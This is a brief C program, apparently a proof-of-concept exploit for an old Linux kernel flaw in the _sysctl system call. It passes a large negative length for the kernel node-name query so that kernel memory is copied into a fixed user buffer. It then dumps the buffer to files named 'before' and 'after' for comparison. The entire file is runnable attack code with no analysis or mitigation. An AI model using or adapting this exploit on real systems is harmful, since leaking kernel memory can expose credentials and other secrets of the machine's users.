#include <sys/types.h> 
#include <sys/stat.h> 
#include <fcntl.h> 
#include <sys/mman.h> 
#include <unistd.h> 
#include <linux/unistd.h> 
#include <linux/sysctl.h> 
_syscall1(int, _sysctl, struct __sysctl_args *, args); 

#define BUFLEN 1000000 

int 
main(int argc, const char* argv[]) 
{ 
  struct __sysctl_args args_of_great_doom; 

  int names[2] = { CTL_KERN, KERN_NODENAME }; 
  /* Minus 2 billion - somewhere close to biggest negative int */ 
  int dodgy_len = -2000000000; 
  int fd; 
  char* p_buf; 

  fd = open("/dev/zero", O_RDWR); 
  p_buf = mmap((void*)8192, BUFLEN, PROT_READ | PROT_WRITE, 
	       MAP_FIXED | MAP_PRIVATE, fd, 0); 

  memset(p_buf, '\0', BUFLEN); 
  fd = open("before", O_CREAT | O_TRUNC | O_WRONLY, 0777); 
  write(fd, p_buf, BUFLEN); 

  args_of_great_doom.name = names; 
  args_of_great_doom.nlen = 2; 
  args_of_great_doom.oldval = p_buf; 
  args_of_great_doom.oldlenp = &dodgy_len; 
  args_of_great_doom.newval = 0; 
  args_of_great_doom.newlen = 0; 

  _sysctl(&args_of_great_doom); 

  fd = open("after", O_CREAT | O_TRUNC | O_WRONLY, 0777); 
  write(fd, p_buf, BUFLEN); 
}